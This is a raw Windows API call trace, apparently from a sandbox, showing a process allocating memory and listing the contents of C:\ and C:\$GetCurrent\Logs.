	[0235.391] GetProcessTimes (in: hProcess=0x164, lpCreationTime=0xc000202000, lpExitTime=0xc000202008, lpKernelTime=0xc000202010, lpUserTime=0xc000202018 | out: lpCreationTime=0xc000202000, lpExitTime=0xc000202008, lpKernelTime=0xc000202010, lpUserTime=0xc000202018) returned 1
	[0235.391] VirtualAlloc (lpAddress=0xc000204000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000204000
	[0235.392] CloseHandle (hObject=0x164) returned 1
	[0235.392] VirtualAlloc (lpAddress=0xc000206000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000206000
	[0235.394] SetEvent (hEvent=0xfc) returned 1
	[0235.395] VirtualAlloc (lpAddress=0xc000208000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000208000
	[0235.395] WriteFile (in: hFile=0x0, lpBuffer=0xc000200030, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0xc0000c9b24, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000c9b24, lpOverlapped=0x0) returned 0
	[0235.395] VirtualAlloc (lpAddress=0xc00020a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00020a000
	[0235.396] VirtualAlloc (lpAddress=0xc00020c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00020c000
	[0235.397] VirtualAlloc (lpAddress=0xc00020e000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00020e000
	[0235.398] VirtualAlloc (lpAddress=0xc000216000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000216000
	[0235.398] VirtualAlloc (lpAddress=0xc000218000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000218000
	[0235.399] VirtualAlloc (lpAddress=0xc00021a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00021a000
	[0235.400] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0xc000031bc8 | out: lpFileInformation=0xc000031bc8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x31b3b9e4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x8ba7d286, ftLastAccessTime.dwHighDateTime=0x1d6dd3b, ftLastWriteTime.dwLowDateTime=0x8ba7d286, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0235.400] VirtualAlloc (lpAddress=0xc00021c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00021c000
	[0235.401] CreateFileW (lpFileName="C:\\" (normalized: "c:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.401] VirtualAlloc (lpAddress=0xc00021e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00021e000
	[0235.401] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0xc000031980 | out: lpFindFileData=0xc000031980*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x192c63cd8e0
	[0235.402] VirtualAlloc (lpAddress=0xc000220000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000220000
	[0235.402] GetProcAddress (hModule=0x7fff4f780000, lpProcName="FindNextFileW") returned 0x7fff4f7a2230
	[0235.402] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1
	[0235.403] VirtualAlloc (lpAddress=0xc000224000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000224000
	[0235.403] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1
	[0235.403] VirtualAlloc (lpAddress=0xc000226000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000226000
	[0235.404] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0235.404] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1
	[0235.404] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe5533ee0, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef9d0a0c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTNXT", cAlternateFileName="")) returned 1
	[0235.404] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xc4ee267e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4ee267e, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xf1c63cdd, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1
	[0235.404] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1
	[0235.404] VirtualAlloc (lpAddress=0xc000228000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000228000
	[0235.404] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1
	[0235.404] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3f85eb01, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1
	[0235.404] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1
	[0235.404] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x45bf2fb9, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1
	[0235.404] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1
	[0235.405] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xeda3c44c, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xeda3c44c, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1
	[0235.405] VirtualAlloc (lpAddress=0xc00022a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00022a000
	[0235.405] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1
	[0235.405] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x450f4738, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x450f4738, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1
	[0235.405] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1
	[0235.405] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6ead2556, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6ead2556, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x45c166a0, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x10000000, dwReserved0=0x0, dwReserved1=0x0, cFileName="swapfile.sys", cAlternateFileName="")) returned 1
	[0235.405] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x6e16f135, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0xb1ff7ba5, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xb1ff7ba5, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1
	[0235.405] VirtualAlloc (lpAddress=0xc00022c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00022c000
	[0235.406] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1
	[0235.406] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
	[0235.406] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccdc86a8, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows10Upgrade", cAlternateFileName="WINDOW~1")) returned 1
	[0235.406] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000319b0 | out: lpFindFileData=0xc0000319b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0235.406] VirtualAlloc (lpAddress=0xc00022e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00022e000
	[0235.407] GetProcAddress (hModule=0x7fff4f780000, lpProcName="FindClose") returned 0x7fff4f7a2160
	[0235.407] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0235.407] VirtualAlloc (lpAddress=0xc000230000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000230000
	[0235.407] WriteFile (in: hFile=0x0, lpBuffer=0xc000200030, nNumberOfBytesToWrite=0x1c, lpNumberOfBytesWritten=0xc000031b7c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000031b7c, lpOverlapped=0x0) returned 0
	[0235.408] GetFileAttributesExW (in: lpFileName="C:\\$GetCurrent" (normalized: "c:\\$getcurrent"), fInfoLevelId=0x0, lpFileInformation=0xc000031af0 | out: lpFileInformation=0xc000031af0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0235.463] CreateFileW (lpFileName="C:\\$GetCurrent" (normalized: "c:\\$getcurrent"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.463] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0xc0000318a8 | out: lpFindFileData=0xc0000318a8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0235.463] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0235.463] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1
	[0235.463] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SafeOS", cAlternateFileName="")) returned 1
	[0235.463] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0235.463] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0235.463] WriteFile (in: hFile=0x0, lpBuffer=0xc000200030, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0) returned 0
	[0235.464] GetFileAttributesExW (in: lpFileName="C:\\$GetCurrent\\Logs" (normalized: "c:\\$getcurrent\\logs"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0235.468] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs" (normalized: "c:\\$getcurrent\\logs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.468] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd460
	[0235.483] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0235.483] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1
	[0235.484] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1
	[0235.484] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 1
	[0235.484] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0235.484] FindClose (in: hFindFile=0x192c63cd460 | out: hFindFile=0x192c63cd460) returned 1
	[0235.486] WriteFile (in: hFile=0x0, lpBuffer=0xc000066240, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
